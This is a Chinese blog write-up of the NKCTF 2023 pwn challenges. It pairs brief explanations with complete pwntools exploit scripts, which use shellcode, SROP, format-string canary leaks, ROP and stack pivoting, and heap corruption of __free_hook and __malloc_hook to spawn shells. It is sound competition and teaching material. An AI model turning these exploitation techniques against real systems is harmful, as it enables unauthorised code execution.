2023NKCTF的所有pwn题,除了musl...

【pwn】NKCTF 2023

前言

应该算是退役前的最后几场比赛了,越来越没精力学新的知识了捏

这场感觉出的最好的应该是only_read9961这两题了,一道考察只有read如何处理,一道考察shellcode编写能力

ezshellcode

nop滑梯即可

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/24 23:04:49
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./pwn")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


shellcode = asm(shellcraft.read(0, 0x404180, 0x100)).rjust(0x100, b"\x90")
# dbg();pau()
sa("min!", shellcode)
shellcode = asm(shellcraft.sh())
sl(shellcode)

ia()

a_story_of_a_pwner

4个选择,前三个分别可以在连续的bss段写8*3字节的数据,可以考虑之后栈迁移到这里执行system("/bin/sh")

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/25 13:25:36
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./pwn")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))

cmd(4)

ru("0x")
libc.address = leak(i16(r(len("7faa8b58aed0"))) - libc.sym["puts"], "libc_base")

cmd(2)
s(p64(0x0000000000401573)) # pop rdi
cmd(1)
s(p64(next(libc.search(b"/bin/sh\x00"))))
cmd(3)
s(p64(libc.sym["system"]))
# 4050A8    1
# 4050A0    2
# 4050B0    3

cmd(4)
# dbg();pau()
s(b"b"*0xa + p64(0x4050A0-8) + p64(0x40139E))

ia()

ez_stack

某次国赛类似的题目,藏了一个mov rax 0xf;ret的gadget。使用两次srop即可

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/24 23:51:31
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./ez_stack")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

data_addr = 0x404020
mov_eax_0xf_ret = 0x0000000000401147  # mov eax, 0xf ; ret
syscall_ret = 0x40114E

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = data_addr
sigframe.rdx = 0x400
sigframe.rip = syscall_ret
sigframe.rsp = data_addr
sigframe.rbp = data_addr

payload = cyclic(0x10 + 8) + p64(mov_eax_0xf_ret) + p64(syscall_ret) + bytes(sigframe)

sla('CTF!', payload)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = data_addr + 0x200
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
sigframe.rsp = data_addr + 0x18
payload = p64(mov_eax_0xf_ret) + p64(syscall_ret) + bytes(sigframe)
payload = payload.ljust(0x200, b'\x00')
payload += b'/bin/sh\x00'
sl(payload)

ia()

baby_rop

第一次fmt泄露canary,然后ret addr回到vuln的位置

第二次fmt泄露setbuf附近的地址,获取libc基地址,同时构造rop链

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/26 09:53:34
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./nkctf_message_boards")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


sl("%41$p%p")
ru("0x")
canary = leak(i16(r(len("15168f18b754e700"))), "canary")

ret = 0x000000000040101a
pop_rdi = 0x0000000000401413
call_vuln = 0x401390
ret_addr = 0x4012B6
payload = p64(ret) * (0xf0 // 8) + p64(call_vuln) + p64(canary)
s(payload)


sl("%35$p")
ru("0x")
ru("0x")
setbuf = leak(i16(r(len("7fb673a08de5"))) - 261, "setbuf")
libc.address = setbuf - libc.sym["setvbuf"]
binsh = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.sym["system"]
payload = p64(ret) * ((0xf8-8*3) // 8) + p64(pop_rdi) + p64(binsh) + p64(system_addr) + p64(canary)
# dbg();pau()
s(payload)
ia()

9961code

22字节的shellcode编写,cdq的骚操作可以让edi置为0

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/26 14:23:41
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./pwn")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

# dbg();pau()
shellcode = '''
xor rsi, rsi
lea rdi, [r15 + 0xe]
cdq
mov ax, 59
syscall
'''
shell = asm(shellcode) + b"/bin/sh\x00"
print(len(shell))
s(shell)

ia()

baby_heap

off by one的漏洞,上面的堆块修改下方堆块的size,构成堆块重叠,最后打__free_hook

注意2.32版本需要对齐0x10字节(不过这个版本的free_hook就是0结尾的,所以误伤大雅。之所以有这个注意是打这题的时候用了2.36的libc。。。)

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/25 00:35:34
# -----------------------------------

# * https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *

init("./pwn")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


def pack(pos, ptr):
    return (pos >> 12) ^ ptr


cmd = lambda idx: sla("Your choice: ", str(idx))


def add(idx, size):
    cmd(1)
    sla("Enter the index:", str(idx))
    assert int(size) <= 0x100
    sla("Enter the Size: ", str(size))


def free(idx):
    cmd(2)
    sla("Enter the index:", str(idx))


def edit(idx, content):
    cmd(3)
    sla("Enter the index:", str(idx))
    sa("Enter the content: ", content)  #! off by one


def show(idx):
    cmd(4)
    sla("Enter the index:", str(idx))


add(0, 0x28)
add(1, 0x28)
add(2, 0xC8)
for i in range(3, 11):
    add(i, 0xC8)


edit(0, b"b" * 0x28 + p8(0xF1))
free(1)
add(1, 0xE8)
show(1)
heap_base = leak((uu64(rl()) >> 8) << 12, "heap_base")

for i in range(3, 10):
    free(i)

free(2)

edit(1, b"b" * 48 + b"\n")
show(1)

fd = l64()
libc.address = leak(fd - (0x00007F7FE2952C0A - 0x7F7FE276F000), "libc")
edit(1, b"\x00" * 8 * 5 + p64(0xD1) + p64(fd - 0xA) * 2 + b"\n")

add(3, 0x20)
add(4, 0x20)


free(4)
free(3)

info(heap_base + 0x2F0, "cur")
edit(1, b"b" * 55 + b"\n")
show(1)
rl()
bk = leak(uu64(r(8)), "bk")
edit(
    1,
    p64(0) * 5
    + p64(0x31)
    + p64(pack(heap_base, libc.sym["__free_hook"]))
    + p64(bk)
    + b"\n",
)

add(3, 0x20)
add(4, 0x20)
edit(4, p64(libc.sym["system"]) + b"\n")
edit(0, b"/bin/sh\x00" + b"\n")

free(0)
# dbg()

ia()

only_read

这题就很经典了,只有read的操作,怎么才能获取地址呢?

如果这题开了PIE又怎么办呢?

2022的祥云杯给出了答案,无非就是1/4096的几率爆破。。

但是这题没开PIE,所以操作空间打了很多。

首先需要直到一个概念,使用__libc_start_main启动的函数会在栈中残留libc附近的地址。这也就是为什么main函数的stack中有那么多的残留libc的地址的原因了。

所以这一题的一个思路就是先栈迁移,迁移后调用__libc_start_main去执行next()函数,这样不仅能够执行read,同时又在bss段中写入了libc残存的地址

之后配合一个magic gadget进行任意地址加,通过将libc中的地址加至one_gaget,最后一路ret到这个one_gadget完成pwn击!

而这个神奇的gadget就是,并且这个gadget一定存在在使用__libc_start_main启动的程序中(高版本libc不使用__libc_start_main启动)

0x40117c add dword ptr [rbp - 0x3d] ebx;nop;ret;

上述gadget可以让[rbp - 0x3d]中存放的值加上ebx中的值

而rbp和rbx可以通过csu的gadget进行控制

.text:000000000040167A pop rbx .text:000000000040167B pop rbp .text:000000000040167C pop r12 .text:000000000040167E pop r13 .text:0000000000401680 pop r14 .text:0000000000401682 pop r15 .text:0000000000401684 retn

如果我们[rbp - 0x3d]位置上是一个libc中的地址,将其加上rbx后变成one_gadget的地址,那么one_gadget就被写入到stack中了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2023/03/26 10:36:09
# -----------------------------------

#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
from base64 import b64encode as enc
# context.log_level = "debug"

init("./pwn")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

s(enc(b"Welcome to NKCTF!").ljust(0x30, b"\x00"))
s(enc(b"tell you a secret:").ljust(0x30, b"\x00"))
s(enc(b"I'M RUNNING ON GLIBC 2.31-0ubuntu9.9").ljust(0x40, b"\x00"))
s(enc(b"can you find me?").ljust(0x40, b"\x00"))

pop_rdi = 0x0000000000401683
pop_rsi_r15 = 0x0000000000401681
ret = 0x000000000040101a
bss = 0x404500
leave_ret = 0x401615
__libc_start_main = 0x4010D8
#! 0x40117c add dword ptr [rbp - 0x3d] ebx;nop;ret;
add_rbp_0x3d_ebx_nop_ret = 0x40117c
#! 0x40167a 
'''
.text:000000000040167A                 pop     rbx
.text:000000000040167B                 pop     rbp
.text:000000000040167C                 pop     r12
.text:000000000040167E                 pop     r13
.text:0000000000401680                 pop     r14
.text:0000000000401682                 pop     r15
.text:0000000000401684                 retn
'''
pop_rbx_rbp_r12_r13_r14_r15 = 0x40167a

s(b"b"*0x30 + flat([
    bss,
    pop_rdi,0,
    pop_rsi_r15, bss, 0,
    elf.sym["read"],
    leave_ret
]))
time.sleep(1)

s(flat([
    0x404438-8,
    pop_rdi, 0x4013C8,
    __libc_start_main
]))
time.sleep(1)

s(b"\x00"*0x30 + flat([
    0x404438-8, # rbp
    pop_rdi, 0x4013C8,
    __libc_start_main
]))
time.sleep(1)

s(b"\x00"*0x30 + flat([
    0x404438-8, # rbp
    pop_rdi, 0,
    pop_rbx_rbp_r12_r13_r14_r15,
    0xfffffffffffd5b2c, 0x404465, 0, 0, 0, 0,   # let read+18 to ogg
    add_rbp_0x3d_ebx_nop_ret,
]) + p64(ret) * 10)

ia()

ByteDance

原题,原理是scanf接收大字符的时候会进行malloc_consolidate,通过堆风水进行构造

# coding=utf8
from pwn import *

# context.log_level = "debug"

local = 0

bin = ELF("./pwn02")
libc = ELF(
    "/home/woodwhale/workspace/ctftools/pwntools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
)


if local:
    cn = process("./heapstorm_zero")
else:
    cn = remote("node2.yuzhian.com.cn", 35430)



# result = (unsigned int)(a1 - 1) <= 0x37;
def add(size, con):
    cn.recvuntil("Choice:")
    cn.sendline("1")
    cn.recvuntil("size:")
    cn.sendline(str(size))
    cn.recvuntil("content:")
    cn.sendline(con)


def view(idx):
    cn.recvuntil("Choice:")
    cn.sendline("2")
    cn.recvuntil("index:")
    cn.sendline(str(idx))


def dele(idx):
    cn.recvuntil("Choice:")
    cn.sendline("3")
    cn.recvuntil("index:")
    cn.sendline(str(idx))


def triger_consolidate(pay=""):
    cn.recvuntil("Choice:")
    if pay == "":
        cn.sendline("1" * 0x400)  # malloc_consolidate


add(0x38, "a")  # 0

add(0x28, "a")  # 1
add(0x28, "a")  # 2
add(0x18, "a")  # 3
add(0x18, "a")  # 4
add(0x38, "x")  # 5
add(0x28, "x")  # 6
add(0x38, "x")  # 7
add(0x38, "x")  # 8
add(0x38, "x")  # 9
pay = "a" * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay)  # 10

add(0x38, "end")  # 11

for i in range(1, 11):
    dele(i)

triger_consolidate()

dele(0)
pay = "a" * 0x38
add(0x38, pay)  # 0

add(0x38, "a" * 8)  # 1
add(0x38, "b" * 8)  # 2
add(0x38, "c" * 8)  # 3
add(0x38, "x")  # 4
add(0x38, "x")  # 5
add(0x28, "x")  # 6
add(0x38, "x")  # 7
add(0x38, "x")  # 8

dele(1)
dele(2)
dele(3)

triger_consolidate()
dele(11)
triger_consolidate()


add(0x28, "a")  # 1
add(0x28, "a")  # 2
add(0x18, "a")  # 3
add(0x18, "a")  # 9
add(0x38, "1" * 0x30)  # 10
add(0x38, "2" * 0x30)  # 11
add(0x28, "3" * 0x30)  # 12
add(0x38, "4" * 0x30)  # 13
add(0x38, "5" * 0x30)  # 14
pay = "a" * 0x20 + p64(0x200) + p64(0x20)
add(0x38, pay)  # 15

add(0x38, "end")  # 16

dele(1)
dele(2)
dele(3)
for i in range(9, 16):
    dele(i)

triger_consolidate()

dele(0)
pay = "a" * 0x38
add(0x38, pay)  # 0

add(0x38, "a" * 8)  # 1
add(0x38, "b" * 8)  # 2
add(0x38, "c" * 8)  # 3

view(4)
cn.recvuntil("Content: ")
lbase = u64(cn.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0x3C4B20 - 88
success("lbase: " + hex(lbase))

dele(1)
dele(2)
dele(3)
triger_consolidate()

add(0x18, "A" * 0x10)  # 1
add(0x28, "B" * 0x20)  # 2
add(0x38, "C" * 0x30)  # 3
add(0x18, "D" * 0x10)  # 9

pay = p64(0) + p64(0x41)
add(0x18, pay)  # 6
add(0x28, "asd")
add(0x38, "zxc")  # 5,c
add(0x28, "qqq")  # 6,d


add(0x38, "a1")  # 14
add(0x28, "a2")  # 15

# fastbin dup
dele(5)
dele(14)
dele(0xC)

dele(6)
dele(15)
dele(0xD)


add(0x28, p64(0x41))
add(0x28, "a")
add(0x28, "a")

add(0x38, p64(lbase + 0x3C4B20 + 8))
add(0x38, "a")
add(0x38, "a")
add(0x38, p64(lbase + 0x3C4B20 + 8 + 0x20) + "\x00" * 0x10 + p64(0x41))
add(0x38, "\x00" * 0x20 + p64(lbase + libc.sym["__malloc_hook"] - 0x18))

add(0x18, "a" * 0x18)
add(0x18, p64(lbase + 0xF03A4) * 2)
# print("here")
# gdb.attach(cn)
# pause()
cn.recvuntil("Choice:")
cn.sendline("1")
cn.recvuntil("size:")
cn.sendline(str(0x18))

cn.interactive()